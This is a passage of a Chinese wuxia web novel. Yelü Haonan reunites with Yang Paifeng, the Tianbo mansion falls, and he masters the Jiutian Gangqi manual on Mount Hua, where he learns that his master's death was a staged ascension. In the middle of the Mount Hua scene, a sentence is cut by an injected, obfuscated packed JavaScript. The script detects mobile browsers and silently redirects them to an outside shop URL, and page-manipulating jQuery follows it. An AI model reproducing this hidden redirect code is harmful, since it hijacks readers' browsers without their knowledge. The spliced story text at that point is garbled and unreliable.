他顿了顿,目光扫过桌上那六道刻痕,最终落回伙计脸上,“……腊月初六,该上的那盘金酥烧鸡。” “热一热。” “端来。” “放到这张桌子上。” “……” 杨排风霍然抬起头! 泪水早已在不知不觉中蓄满眼眶,此刻终于冲破所有阻拦,大颗大颗地、无声地、滚烫地,砸落下来,砸进她面前那杯早已凉透、色泽浑浊的粗茶汤里,激起细微的、转瞬即逝的涟漪。 凌霄子吹了一声响亮、悠长、带着戏谑却又隐含欣慰的口哨: “啧啧啧!恭喜啊!刘皓南!” 他摇头晃脑,语气夸张,“你这‘死人回来吃冷饭’的生死大劫、情伤心魔,折腾了六年,总算是——” 他一拍大腿: “渡、过、去、啦! 从今往后,你就是个活着的、要还债的、得养家的、平凡男人喽!” 烧鸡很快被热好,重新端了上来。 盛在精致的白瓷盘中,皮色金黄酥脆,油脂在高温下重新融化,滋滋作响,混合着秘制香料的浓郁肉香,瞬间充满了整个雅间,霸道地驱散了之前所有的清冷、悲伤与凝滞。 放在那张刚刚被擦拭干净、露出温润木色、带着六道刻痕的梨花木方桌上。 耶律皓南率先走了过去,在那张她独坐了六年的桌子旁,坐了下来。坐在了她惯常坐的、面朝窗户的位置的对面。 他伸手,用桌上干净的竹筷,有些笨拙、却异常郑重地,撕下那只烧鸡最肥美、最酥香的一只鸡腿,放入杨排风面前那只空空如也、早已准备好的细瓷碗中。 “凉了六年……” 他抬眼,看着她,目光深邃,褪尽了所有阴鸷算计,只剩下最原始的、带着痛意的温柔与歉意,声音低沉而缓慢: “以后……” “吃热的。” “……” 窗外,忽然传来一阵急促如暴雨、由远及近的马蹄疾驰之声!伴随着声嘶力竭、充满惊惶的探报嘶吼,穿透樊楼的喧嚣,隐约传入高层雅间: “紧急军报——!!天波府被抄!杨元帅(杨宗保)战死沙场,被指通敌!府中妇孺已被拘押——!!!” “啪嗒!” 杨排风手中的筷子,应声落地,在光洁的地砖上弹跳了两下,发出清脆的声响。她脸色瞬间惨白如纸,浑身控制不住地剧烈颤抖起来,猛地就要站起! 一只手,稳稳地、用力地,按在了她冰冷颤抖的手背上。 是耶律皓南。 他没有看她,目光扫过旁边正鼓着腮帮子,努力跟一只鸡翅“奋战”,吃得满嘴油光,对窗外剧变似乎毫无所觉的儿子刘朔。 一种陌生而汹涌的、沉甸甸的、实实在在的“责任感”,如同潮水般席卷而来,瞬间压过了所有残存的、关于“复国”、“野心”、“算计”的虚无执念。 天波府要救。那是她的家,是她牵挂的人。 华山必须去。为了彻底化解反噬,为了拥有保护他们的力量,也为了……师门最终的交代与选择。 而眼前这盘烧鸡,眼前这个人…… 他抬眸,再次看向她,眼中是不容置疑的冷静与决断。 “先吃饭。” 他声音平静,却带着千钧之力,按住她手背的力道,坚定而温暖。 “天波府的事,我会管。” 他一字一句,清晰地说道,“你的烧鸡……” 他顿了顿,目光掠过桌上那六道刻痕,最终望进她含泪的、惊惶未定的眼眸深处: “我以后,年年陪你吃。” “吃热的。” “……” 凌霄子大笑着,一把拎起还在啃鸡翅、兀自不清不愿的刘朔的后衣领,如同拎个小包袱,足尖在窗台一点,便如大鸟般,轻盈地跃出了窗外,几个起落,消失在鳞次栉比的屋顶之间。 耶律皓南这才缓缓松开按住杨排风的手。 他解下一直贴身佩戴、从未离身的,那枚雕琢着狰狞狼首、代表着北汉刘氏皇族嫡系血脉最后信物与荣耀的墨玉符。 动作极其轻柔地,将玉符,轻放在那盘香气扑鼻、油光闪亮的金酥烧鸡的盘子旁边。 温润的墨玉,与金黄的烧鸡,形成突兀却又和谐的对比。 皇图霸业的最后象征,与人间烟火的最凡俗渴望,在此刻,同处一桌。 然后,他弯腰,从地上,捡起儿子刚才啃鸡翅时,不小心掉落的、几粒沾着油光的白芝麻。 他看着掌心那几粒小小的芝麻,摇了摇头,唇角几不可察地,勾起一抹极淡、却真实无比的、带着无奈与纵容的低笑: “这臭小子……” 他低声自语,声音几乎微不可闻,“看来……真得去天桥,摆个摊了。” 袖袍之下,无人看见的角落。 他伸出手,轻轻地、却坚定不移地,握住了身旁杨排风那只依旧冰凉、微微颤抖的手。 十指,缓缓交握。 温暖从彼此掌心,一点点传递,蔓延。 窗外,汴河的灯火,渐次亮起,如同星河坠落人间,将整条河流、整座城市,映照得一片璀璨辉煌,充满了生生不息的活力与希望。 那灯火,也温柔地、执着地,透窗而入,映亮了桌上那盘曾经六年未动、凉透心扉,如今却热气腾腾、香气四溢的—— 金酥烧鸡。 也映亮了,烧鸡旁,那枚静静躺着的墨玉狼符,仿佛在无声诉说着一个时代的终结,与另一个充满烟火气息的、平凡却真实的新生的开始。 那张承载了六年孤独等待、六道深刻刻痕的梨花木方桌旁…… 终于,不再只有形单影只的一个人,和一份凉透的期望。 而是,等来了—— 可以同桌共食之人。 可以携手并肩之人。 可以……共度往后无数个“年年”之人 ------ 华山陈希夷旧观·云深不知处 数日后,华山。 与西夏祭坛的血腥、戾气、疯狂截然不同,这里是另一番天地。 青瓦白墙的道观,古朴、清寂,悄无声息地隐于千峰叠翠、古松虬结、翠柏森森的山峦深处。观前有清溪潺潺,观后有云海翻腾,檐角悬挂的几枚古老铜铃,在终年不息的山风吹拂下,发出清越、空灵、不疾不徐的“叮铃”声,与山林间的松涛、鸟鸣、泉响应和,涤荡人心,仿佛能洗去一切尘世纷扰与血腥罪孽。 耶律皓南推开那两扇漆色斑驳、木质厚重、仿佛数十年未曾被如此郑重开启过的陈旧木门时,“吱呀——”一声悠长的轻响,打破了山间的宁静。 门轴转动,尘埃飞扬。 午后偏斜的阳光,从门缝、窗隙间斜射而入,形成一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185035|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道清晰的光束。无数细微的尘埃,在光束中欢快地、无序地浮沉、舞蹈,仿佛时光在此地,真的被某种神奇的力量凝滞、封存了数十年之久,直到今日,才被重新搅动。 杨排风悄无声息地跟在他身后半步,踏入观中。她目光缓缓扫过这间空旷、简洁、几乎没有任何多余陈设的正殿。经架上寥寥几卷蒙尘的竹简,香案上早已熄灭、只剩香灰的香炉,墙壁上悬挂的、笔意早已模糊不清的山水古画…… 一切都透着一种被时光遗忘的、深入骨髓的清冷与孤寂。 她的指尖,无意识地拂过身旁一个积了厚厚灰尘的柏木经架边缘,留下几道清晰的指痕。她轻声开口,声音在寂静空旷的道观中,显得格外清晰,也格外……沉重: “少夫人昨夜设法传了信出来。” 她顿了顿,仿佛在斟酌词句,又似在压抑某种情绪,“她说…… 天波府纵使只剩下一门妇孺,老弱病残,也无需……‘北汉皇孙’的相助。” 她抬起眼,看向耶律皓南瞬间僵直的背影,声音艰涩: “她让我转告你:杨家的血债,杨家的冤屈,杨家的路……杨家自己会扛,自己会走。” “不必……仇家来偿。” “……” 耶律皓南的背影,几不可察地,微微一僵。 他没有回头。 但眼前,却瞬间浮现出十日前,他暗中潜入汴京,远远望见的、天波府那片已成废墟、依旧被重兵把守的残垣断壁前,那个孑然独立、银甲染尘、却挺直如枪的纤细身影——穆桂英。 那个曾与他同出陈希夷门下,年少时一同练剑、一同论道、甚至曾有过短暂而模糊的青梅竹马情谊的“师妹”。 如今,她眉宇间早已褪尽少女娇憨,只剩下被血与火、家国巨变淬炼出的、冰冷如铁、坚不可摧的决绝。 她宁愿拖着重伤未愈的佘太君,带着年仅六岁、却已目睹家族惨变的稚子杨文广,远赴危机四伏、前途未卜的太行山深处寻医问药、保存血脉,也不愿接受他耶律皓南以“紫微斗数”耗尽心力推演出的、或许存在的“一线生机”。 这份骄傲,这份倔强,这份宁折不弯、拒敌千里之外的刚烈…… 与当年,她为嫁与杨宗保,一剑刺穿他胸膛,以示决裂时,如出一辙。 只是如今,更冷,更硬,更无转圜余地。 国仇家恨,血海深仇,立场对立……如同天堑鸿沟,早已将他们隔在了遥不可及的对岸。 他缓缓闭了闭眼,将胸中翻涌的复杂心绪强行压下。转身,走向正殿中央,那个他熟悉得不能再熟悉的、以蒲草编织、早已破旧不堪的旧蒲团。 那是师尊陈希夷当年日常打坐、静修、偶尔考教他功课的地方。 他在蒲团前,缓缓跪下。不是跪拜,而是以一种近乎虔诚的、告罪与追忆的姿态。然后,他伸出手,指尖带着不易察觉的轻颤,轻轻拂开蒲团边缘堆积的厚厚灰尘,探向蒲团之下,那块看似与周围地砖无异、实则内藏玄机的青石板。 “咔嗒。” 一声极其轻微的机括响动。 石板应声弹开一小道缝隙。 耶律皓南小心地掀开石板,露出下面一个仅尺许见方、深不过数寸的暗格。暗格中,别无他物,只有一方以整块万年寒冰玉雕琢而成、触手冰寒刺骨、却通体剔透、隐隐有灵光流转的玉匣。 他屏住呼吸,将冰玉匣取出,捧在掌心。 启匣的瞬间—— “嗡——!” 一道柔和却沛然、充满中正平和之气的金色光芒,自匣中冲天而起!光芒并不刺眼,却带着一种直指大道本源的浩瀚威严! 光芒之中,无数细如蚊蝇、却铁画银钩、充满道韵的古篆金字,如同拥有生命般,自玉匣中漂浮而出,在半空中缓缓旋转、排列、组合,最终形成一篇完整的心法口诀——正是《九天罡气诀》的总纲与精要! 然而,更令耶律皓南心神剧震的是—— 在这些金光璀璨的篆文之间,竟夹杂着几缕颜色截然不同的、细若发丝、却异常清晰、透着一种耗尽心血后的枯寂与温柔的——银白色光芒! 那银光,如同有生命的丝线,缠绕、点缀、注解在金色的篆文关键之处,或补充,或修正,或警示,或点拨……每一缕银光,都直指核心,化解难点,仿佛一位耗尽生命的师长,在临终前,呕心沥血,为可能走入歧途的弟子,留下的最后、也是最珍贵的指引。 耶律皓南瞳孔骤缩,浑身血液仿佛瞬间冻结! 他认得这银光的气息! 那是……师尊陈希夷,以自身所剩无几的寿元与本源神魂,混合某种秘法,强行“书写”留下的——生命印记! “以罡代煞,化阵反噬……需引北斗至正至纯之气,涤荡经脉,重塑根基……” 耶律皓南喃喃地,逐字念出金色篆文的内容,声音干涩。 “……然罡气霸道,需以至亲血脉之气为引,调和阴阳,护持心脉,方可行功无碍,臻至圆满……” 他念到最后几行,那被银光特别标注、强调的小字时,眸光倏地变得锐利如刀,猛地抬眼,看向不知何时已蹲在窗棂上、晃着腿、仿佛在看风景的凌霄子! “为何——” 耶律皓南声音陡然拔高,带着压抑的怒意与深深的不解,死死盯住凌霄子,“这卷轴上所言,与师叔你之前告知我的、所谓‘父子联心、共入幻境、以情破执’的考验,” “全然不同?!” “咳咳!” 凌霄子仿佛被呛到,夸张地咳嗽了两声,用小指掏了掏耳朵,然后翻了个白眼,理直气壮、甚至带着点“你怎么这么笨”的嫌弃,撇嘴道: “废话!我师兄写这劳什子《九天罡气诀》最后注解的时候,你小子还是个整天板着脸、琢磨着怎么复国的倔驴!你儿子刘朔那臭小子——” 他指了指窗外“还在奈何桥边排队等着投胎呢!连个影儿都没有!我师兄上哪去给你编个‘父子联心’的幻境考验去?啊?” 他从窗棂上一个利落的鹞子翻身,轻飘飘落在地上,随手从供桌上抓起一个干苹果,“咔嚓”咬了一口,嚼得津津有味,含糊道: “再说啦! 华山上这地方,清净是清净,可也闷得要死!连鸟叫都他娘的带着一股子道学先生的刻板味儿!在这儿搞什么幻境考验?闷也闷出病来了!” 他三两口啃完苹果,将果核随手一丢,拍了拍手上的灰,一副“此地不宜久留、老子终于解放了”的轻松模样: “功法给你了,注解也在这儿了,路也指明白了。剩下的,你自己个儿参悟去吧!是成是败,是福是祸,看你自己的造化啦!” “你师叔我啊——” 他伸了个大大的懒腰,骨头发出“噼啪”轻响,脸上露出如释重负、甚至带着点“逃出生天”的欢快笑容: “终、于、自、由、啦!哈哈!这护犊子的活儿,可真不是人干的!累死老子了!” “走喽!” 话音未落,他身形一晃,已如鬼魅般掠至殿外,一把拎起正在殿外庭院里,好奇地揪着一只白鹤尾巴上羽毛的刘朔的后衣领,如同拎起一只不听话的小猫。 “哎哎哎!师傅!轻点!鹤毛!鹤毛要掉了!” 刘朔手舞足蹈地抗议。 “掉个屁!正好炖汤!” 凌霄子笑骂一句,足尖在庭院青石上一点,身形如一片毫无重量的纸鸢,轻飘飘荡起,朝着道观后山、那云雾缭绕、深不见底的万丈云海,疾射而去! 身影即将没入云海、消失不见的前一瞬—— 凌霄子忽然,毫无征兆地,回过头来。 脸上那玩世不恭、嬉笑怒骂的神情,瞬间收敛。 眼中,闪过一道与平日极不相称的、洞悉世事、深邃如海、却又带着一丝难以言喻的温情与欣慰的——清明光芒。 他看着仍站在殿中、手持玉匣、怔怔望着他的耶律皓南,嘴唇微动,声音不大,却清晰地、带着某种神秘的韵律,穿透山风与云气,直抵耶律皓南耳中: “对了! 忘了告诉你——” “你那天生孤寡、克亲克己、注定孤星照命的破命格,师叔我,早就看不过眼,顺手给你改了天机盘啦!” 他咧嘴一笑,那笑容在云海映衬下,竟有几分神棍般的笃定与得意: “不出三年—— 你小子准能再得个闺女!到时候——” 他大笑声混着山风呼啸、白鹤清唳,滚滚传来,渐行渐远: “——可别哭着脸跟你师叔我说养不起啊!哈哈哈……” “……” 耶律皓南握着手中那依旧冰凉、却仿佛隐隐发烫的冰玉匣,怔怔地站在原地,望着师叔与儿子消失的那片翻滚不休、仿佛能吞噬一切的茫茫云海。 师尊耗尽寿元留下的银色注解…… 师叔看似荒诞不羁、实则步步为营的引导与“欺瞒”…… “孤寡破命……改了天机盘……三年……闺女……” 他忽然想起了许多往事。 想起当年,他坠下华山险崖,是师叔“恰好”路过,顺手救下了他。 想起当年,他潜入辽国营地刺杀敌将,身陷重围,是师叔“恰好”在辽军粮草里“顺手”掺了巴豆,引得营中大乱,他才得以脱身。 想起这六年来,师叔看似神龙见首不见尾、游戏人间、万事不萦于心,却总能在他最危急、最迷茫、最走投无路的关头,以各种“荒诞不经”、“顺手为之”的方式,恰到好处地出现,或点拨,或相助,或……骂醒他。 原来…… 那游戏人间、玩世不恭的皮囊之下,藏着的,一直是一颗算无遗策、深谋远虑、却又将一切深情与守护都掩藏在嬉笑怒骂之下的—— 护犊之心。 夜色,如最浓的墨汁,无声无息地浸透了整座华山,也浸透了这间清冷孤寂的陈希夷旧观。 耶律皓南独坐在正殿前,那冰凉粗糙的石阶上。 山风凛冽,卷动着满山松柏,发出如同叹息、又如诉说般的、绵长不绝的“松涛”声。 掌中,那冰玉匣在清冷月光的映照下,泛起一层温润内敛、却坚定不息的莹莹光泽。 他望着那光泽,忽然记起了少年时,某个同样月色清朗的夜晚。 师尊陈希夷抚着他那时尚且柔软、却已习惯紧抿的黑发,望着天边星辰,轻轻地、长长地,叹息一声,对他说道: “皓南啊…… 你性子太刚,心思太沉,执念太深……将来,若被自身反噬、或被心魔所苦时,当知——” “刚极易折,柔……方能克刚。” “这世间最强大的力量,有时并非毁天灭地的罡气,而是……能包容万物、化解戾气的—— 柔韧之心,与……牵绊之情。” …… 原来如此。 原来,师尊他老人家……早就料到了他会有今日。 那《九天罡气诀》中,需“至亲血脉之气为引”的设定,哪里是什么简单的功法要求? 分明是师尊在生命的最后时刻,为他这个走入歧途、执念深重的弟子,设下的最后一道、也是最关键的一道“考题”与“生路”! 是逼着他在“复国”的执念,与“家人”的牵绊之间,做出最终、也是最彻底的抉择! 而师叔…… 师叔刻意曲解为“父子联心”的幻境考验,甚至“自作主张”地提前布局,让他亲眼目睹儿子刘朔在西夏祭坛上的“胡闹”与“鲜活”,让他亲身感受血脉相连的悸动与为人父的责任…… 不过是为了用最生动、最无法抗拒的方式,碾碎他心底最后一丝关于“复国”的虚妄执念,让他看清,什么才是真实可握的、值得用生命去守护的“眼前”与“当下”。 一个唱白脸,以生命为代价,留下冰冷而残酷的“考题”与生路。 一个唱红脸,以游戏为伪装,布下温暖而鲜活的“陷阱”与归途。 师兄弟二人,一刚一柔,一庄一谐,一逝一存…… 竟为他这个“不肖弟子”,联手上演了这么一出旷日持久、用心良苦、算无遗策的——“大戏”。 “呵……” 一声极低、极轻、却异常清晰的低笑,从耶律皓南喉间溢出,消散在无边的夜色与松涛声中。 那笑声里,有恍然,有酸楚,有无尽的后知后觉的震动,有对师恩如山的沉重感激,更有一种……尘埃落定、枷锁尽去后的、疲惫却轻松的释然。 “师尊,师叔……” 他仰起头,望着天边那轮澄澈如水、清辉遍洒的明月,低声自语,仿佛在与那早已逝去、与那游戏天涯的两位长者对话: “你们二位……可真是——” “演了好大的一出戏啊。” 月光温柔地洒落,清晰地映亮了他眼角那些被岁月与风霜、痛苦与挣扎刻下的、细密而深刻的纹路。 那纹路里,曾盛满了半生的孤寂、偏执、仇恨与冰冷。 而此刻,在这清冷的山月、浩瀚的松涛、与手中玉匣温润光泽的映照下…… 那些孤寂的沟壑,仿佛正被一缕细微却坚定、温暖、充满人间烟火气息的—— 柔光,悄然地、一点点地,填平,照亮。 8. 华山悟道与风沙中的喜宴 华山峰顶,朔风如刀,呼啸着掠过嶙峋的怪石与万年不化的积雪,发出凄厉如鬼哭的呜咽。这里是陈希夷当年羽化飞升的传说之地,一块形如巨掌、探出云海的平坦巨石,便是他最后的坐忘之处。 此刻,耶律皓南正盘膝端坐于这冰凉刺骨、光滑如镜的巨石中央。他双目微阖,面色苍白如雪,唯有眉心因极致的专注与痛楚而微微蹙起。周身气息收敛到极致,却又隐隐与这天地山川、浩荡天风产生着某种玄妙的共鸣。 他面前虚空之中,《九天罡气诀》 的金色篆文,正一枚枚、一段段,悬浮、流转、明灭不定,仿佛自虚空中诞生的星辰,按照玄奥的轨迹,环绕着他缓缓旋转,洒下清冷而神圣的辉光,将他笼罩在一片朦胧的金色星辉里。星光与山下翻涌的银白云海相映,令他仿佛独坐于寰宇中心,渺小如尘,却又连接着亘古大道。 初引罡气入脉。 那并非寻常内力温和的浸润,而是如同将九天之上最狂暴、最纯粹的雷霆之力,强行接引、灌注入他千疮百孔、被阴煞侵蚀了六年的经脉之中! “呃——!!!” 剧痛,猝不及防、排山倒海般袭来!似有千万根烧红的钢针,自每一个毛孔、每一处穴窍狠狠刺入,顺着经脉疯狂游走、凿击、贯穿!所过之处,阴寒滞涩的旧伤被粗暴地撕裂、灼烧,童子心残留的、与他不相容的异种阴煞之气,如同被投入沸油的积雪,发出“嗤嗤”的无形尖啸,疯狂地挣扎、反扑,与至阳至刚的罡气激烈绞杀、湮灭! 耶律皓南浑身肌肉瞬间绷紧如铁,额角、脖颈、手背青筋根根暴起,如同扭曲的虬龙。他死死咬紧牙关,齿缝间溢出压抑到极致的闷哼,豆大的冷汗刚刚渗出皮肤,便被凛冽的朔风瞬间冻结成冰碴。 最触目惊心的是他的额头正中。 一点浓黑如墨、粘稠欲滴的污血,正缓缓地从他眉心皮肤下沁出,蜿蜒而下,在他苍白的脸上留下一道刺目的、不祥的黑色痕迹。 那不是寻常的鲜血。 那是天门阵反噬深入骨髓魂魄的阴毒煞气,与那颗“童子心” 残留的、带着辽国巫术邪异烙印的异种阴秽,被九天罡气这无上正法强行逼出、排斥、驱逐出体外的征兆! 每一滴黑血的渗出,都伴随着撕心裂肺、仿佛灵魂被片片剥离的剧痛,却也带来一丝深入骨髓的、阴冷被驱散的、近乎虚脱的轻松。 冰与火的煎熬,毁灭与新生交织,在这华山之巅,寂静而惨烈地上演。 第七日。 罡气已初步在他干涸破损的经脉中,强行开辟、贯通出一条细微却坚韧的通道。痛楚稍缓,却带来更深沉的精神恍惚与心魔侵袭。 恍惚间,他仿佛“看”见云海翻腾之处,师尊陈希夷的身影,由虚化实,端坐于一片混沌之气凝聚的“棋盘”之前。师尊面容模糊,却气息浩瀚,手持一枚非金非玉、光芒内蕴的棋子,轻轻落下。 “啪。” 落子之声,竟如九天惊雷,在他识海深处轰然炸响!震得他神魂摇曳,几乎溃散。 与此同时,师尊那缥缈却又无比清晰、仿佛直接响彻在道心深处的声音,缓缓传来,每一个字都重若千钧: “痴儿……” “棋局未终,黑白未分,阴阳未定……” “何言——死生?” 话音落下,师尊的幻影与那混沌棋盘,如同水中倒影被石子击碎,骤然消散。只留下那声“痴儿”的叹息,与“棋局未终”的诘问,久久回荡在耶律皓南空寂的灵台之中,如同暮鼓晨钟,敲打着他濒临崩溃的意志。 第十九日。 连续肆虐了十数日的狂暴风雪,毫无征兆地,骤然停歇。 天空澄澈如洗,一轮皎洁的圆月,大得惊人,亮得炫目,高悬于墨蓝天幕中央。清冷纯粹的月华,如同实质的银色光瀑,自九天倾泻而下,笼罩了整个华山之巅! 更令人震撼的是,那磅礴的月华,竟在耶律皓南头顶上方,缓缓凝聚、塑形,化作一道晶莹剔透、寒气森森、蜿蜒如龙、直贯天际的——冰晶天梯!天梯的尽头,隐没在更高处、仿佛触手可及的、流淌着金色光晕的“天门” 之后! 天地异象! 与此同时,耶律皓南丹田之内,剧痛骤然加剧到前所未有的程度!仿佛有什么东西,要从他气海最深处、从那新生的罡气核心中,破体而出,撕裂一切! “啊——!” 他终于忍不住,发出一声痛苦的嘶吼,身体剧烈痉挛,七窍之中,再次有黑血混合着淡金色的新血渗出! 就在这肉身与神魂同时承受极限煎熬、濒临崩溃的关头—— “咯咯咯……爹!爹!你看!” 一阵清脆稚嫩、无忧无虑的孩童笑声,突兀地、却又无比自然地,在他耳边响起! 耶律皓南勉力睁开被血污模糊的双眼。 只见刘朔那小小的身影,竟凭空出现在这万丈绝巅、月华冰梯之下!小家伙脸上、手上沾着黑灰,怀里宝贝似的捧着一块用旧布包着、还冒着袅袅热气的——烤芋头!他跌跌撞撞地跑过来,小脸仰着,亮晶晶的眼睛里满是“献宝”的得意和一丝狡黠: “爹!你醒醒!别睡啦!师傅说啦!” 他凑到耶律皓南耳边,用说“秘密”的口气,大声“悄悄”说: “师傅说,你要是再吐血吐个不停,把山上的雪都染红了,明天山下集市就没有糖葫芦卖啦!卖糖葫芦的老爷爷怕血,不敢上山啦!” “所以爹!你快别吐了!把这芋头吃了,暖暖肚子!吃了就不疼了!真的!我试过!” 小家伙踮起脚,努力想把那块热烘烘、香喷喷的烤芋,塞到耶律皓南冰冷颤抖、血迹斑斑的唇边。 那温度,那香气,那稚嫩关切的语调,如此真实,如此鲜活,如此……不合时宜,却又如此直击心底最柔软之处。 “朔……儿……” 耶律皓南神魂剧震,下意识地想要伸手去触碰儿子温热的小脸。 然而,就在指尖即将触及的刹那—— “轰!” 识海之中,一道清冽如冰泉的罡气猛地流转,涤荡灵台! 眼前的“刘朔”、烤芋、甚至那关切的话语,如同阳光下的肥皂泡,“噗”地一声,瞬间破碎、消散,了无痕迹。 只剩冰冷的山风,皎洁的月光,贯天的冰梯,以及……丹田处依旧撕裂般的剧痛。 是心魔。 是他内心深处,对儿子的牵挂、愧疚、与无法割舍的柔情,在这极致痛苦与虚弱的时刻,被心魔捕捉、放大、化形,试图以最温暖甜蜜的幻象,诱他沉沦,功亏一篑。 耶律皓南缓缓吐出一口带着冰碴的浊气,眼底最后一丝恍惚被彻底驱散,取而代之的,是更加清明、也更加决绝的坚定。 朔儿,等着爹。爹一定会……完好地回去。 第四十九日,亥时。 七七之数,功行圆满之机。 夜空之中,北斗七星,毫无征兆地,骤然光芒大放!其辉之盛,竟压过了中天皓月,将整片天穹映照得如同白昼!七颗星辰仿佛被无形之力拉近,星辉如实质的银色光柱,笔直垂落,与耶律皓南周身环绕的金色篆文、头顶的月华冰梯,轰然交汇、融合! “轰隆隆——!” 翻涌的云海,被这无法形容的浩瀚星力与月华,硬生生洞开一个巨大的、圆形的通道!通道尽头,并非漆黑虚空,而是一片柔和、温暖、充满无尽道韵与生机的金色光芒! 光芒之中,陈希夷的金身法相,缓缓显现。 不再是当年那个清癯矍铄、仙风道骨的老道,而是高逾十丈、顶天立地、遍体流转着不朽金辉、眉目慈悲庄严、仿佛与天地同寿、与大道同存的——神圣法相! 法相手持一柄看似普通、却仿佛能搅动三千世界的白玉拂尘,轻轻一挥。 “嗡——” 一股无法言喻、却沛然莫御的平和力量,随着拂尘挥动,悄无声息地弥漫开来。 刹那间—— 呼啸的朔风,停歇了。 翻涌的云海,凝固了。 流淌的月华,静止了。 整片华山之巅,乃至目力所及的山河大地、草木虫豸、时光流水,仿佛都在这一拂之下,归于一片绝对的、万籁俱寂的、永恒的宁静**。 唯有陈希夷法相那宏大、沧桑、却又充满无边慈悲与智慧的声音,如同穿越了无尽时空长河,自开天辟地之初传来,又似直接在耶律皓南灵魂最深处响起: “皓南……” “你可知…… 这飞升之劫,超脱之苦,原需世间至阴至煞、至恨至执之人,以其滔天业力与决绝之心,为引,为火,为锤,方能真正……凿开那一线天机,叩响那天道之门?” 法相的目光,如同实质,穿透了耶律皓南的躯体,直视他魂魄深处那纠缠了六年、几乎成为心魔本源的“弑师”罪孽: “当年,天门阵开,煞气冲霄,杀破狼三星交汇,映照九州血劫之时——” “正是为师……命数之中,注定兵解,肉身成圣,元神飞升的——唯一契机。” “……” 耶律皓南浑身剧颤,如同被九天之上最狂暴的雷霆连续劈中!脑海中嗡嗡作响,一片空白! 六年。 整整六年。 夜夜梦魇,刻骨铭心,噬咬灵魂,几乎将他拖入无边地狱的——“弑师”之罪,之痛,之悔…… 竟在此刻,被这石破天惊、颠覆一切认知的真相,轰然击得粉碎?! “所以……弟子……弟子当年……” 他声音破碎嘶哑,每一个字都像是用尽全身力气从灵魂深处抠出来,“并未……真的……弑师?” “非也。” 陈希夷法相轻轻摇头,指尖于虚空之中,轻轻一点。 “嗡——” 一朵纯粹由道韵与金光凝结的、栩栩如生的金莲,自他指尖绽放。 莲心处,光影流转,清晰无比地重现了当年华山之巅,师徒决战的最后一幕—— 画面中,陈希夷的剑气看似凌厉无匹,杀意凛然,直刺耶律皓南眉心。然而,在剑气及体的前一刻,那看似狂暴的剑气核心,骤然逆转、化形,并非毁灭,而是化作一股温暖浩瀚、包容一切、却又带着诀别意味的磅礴修为与生命本源,如同百川归海,无视一切防御,悄无声息地、尽数灌入了耶律皓南的——灵台识海最深处! 那是传功! 是托付! 是以自身为薪柴,为弟子点燃最后的、通往大道、也通往“破执”之路的——灯火! “痴儿……” 法相的声音,带着无尽的慨叹与一丝欣慰,“为师……是借你之手,行兵解之事,了却尘缘,斩断俗世最后一丝牵挂,方得……肉身成圣,元神飞升,踏出那最后一步。” “你当年引动的天门阵煞气,你心中那滔天的恨与执,恰如……一柄汇聚了世间至阴至煞之力的‘重锤’,为师借你这‘锤’之力,加上为师自身修为为‘凿’……” 法相指尖轻引,莲心画面中,耶律皓南当年刺穿师尊心口的那一剑的剑锋,被无限放大、放慢—— 剑锋之上,竟缠绕着一层微不可见、却真实存在、散发着淡淡金光的——符文! 那是陈希夷早在不知多少年前,便以自身精血与道韵,悄然种在耶律皓南本命灵剑之中的——护命金符!亦是引导、转化、利用那“煞气之锤”的关键枢纽! “此符,可护你心脉一线生机,亦是为师……兵解的‘引信’。” 法相缓缓道,“你当年感受到的,那‘弑师’的触感,那痛彻心扉的‘罪孽’……” “实则是……为师刻意让你感知,以此为‘刃’,助你——斩断对为师的最后依赖,斩断俗世师门的牵绊,逼你独自面对你的道,你的路,你的……劫与缘。” “唯有如此,你方能真正……独立。” “……” 耶律皓南匍匐在地,额头死死抵着冰冷坚硬的岩石,十指因极致的情绪冲击而死死抠入石缝之中,指甲翻裂,鲜血淋漓,却浑然不觉。 原来如此。 原来……如此! 所有的恨,所有的悔,所有的自我折磨,所有的罪孽枷锁…… 竟是一场精心策划、用心良苦、以生命为代价的——试炼与成全! 师尊至死,都在为他这个走入歧途、执念深重的弟子,谋划生路,铺垫未来! “紫微斗数,命主孤煞。” 陈希夷法相的声音再次响起,恢弘而平静,如同阐述天地至理。 “然,孤,可独立擎天,不依不傍;煞,可斩奸除恶,涤荡乾坤。” 法相的目光,穿透现世,仿佛望向了无尽未来的某个支点。 “你,且看——” 法相袖袍对着虚空,轻轻一拂。 翻涌的云海之上,骤然展开一幅清晰无比、却又充满烟火暖意的未来图景—— 华山某处古松旁,杨排风正温柔含笑,怀中抱着一个襁褓中的、玉雪可爱、咿呀学语的女婴。而刘朔,已经长高了些,正嬉笑着,将手中一串红艳艳的糖葫芦,小心翼翼、又带着点恶作剧意味地,试图塞进妹妹挥舞的小手中。阳光透过松针洒落,光影斑驳,笑声清脆,一幅再平凡不过、却又美满得令人心颤的——人间烟火画卷。 这……竟是师尊在飞升之前,以无上修为,为他这个“命主孤煞”的弟子,窥得天机,卜定推演的——未来归途。 红尘牵绊,妻儿绕膝,平凡相守。 耶律皓南缓缓地、颤抖地抬起手,抚向自己心口。 那里,困扰他六年、日夜撕扯的阴寒煞气、反噬剧痛,已然消散一空。取而代之的,是一股温润醇和、生生不息、如同初春化冻的溪流、又似母亲怀抱般温暖安宁的——九天罡气,正随着心跳,缓缓流转,滋养着每一寸曾经干涸破损的经脉与神魂。 阴煞尽散,罡气初成。 破而后立,死而复生。 他对着那已经开始渐渐淡化、消散的师尊金身法相,恭恭敬敬、以额触地,行了三个最庄重、最虔诚的叩首大礼。 额间,因用力叩击岩石而留下的血痕,在最后一拜抬起的瞬间,竟泛起一层淡淡的、高贵神秘的紫色光晕,光晕流转凝结,最终在他眉心,化为一点清晰无比、形如北斗紫微帝星、内蕴浩瀚星辉的——紫色星印! “弟子,刘皓南,顿首再拜,叩谢师尊……成全之恩,再造之德。” 他声音平静,却字字千钧,带着勘破迷雾、明心见性后的澄澈与坚定。 “弟子愿守华山道统,承师尊遗志,护此方山川生灵安宁。” 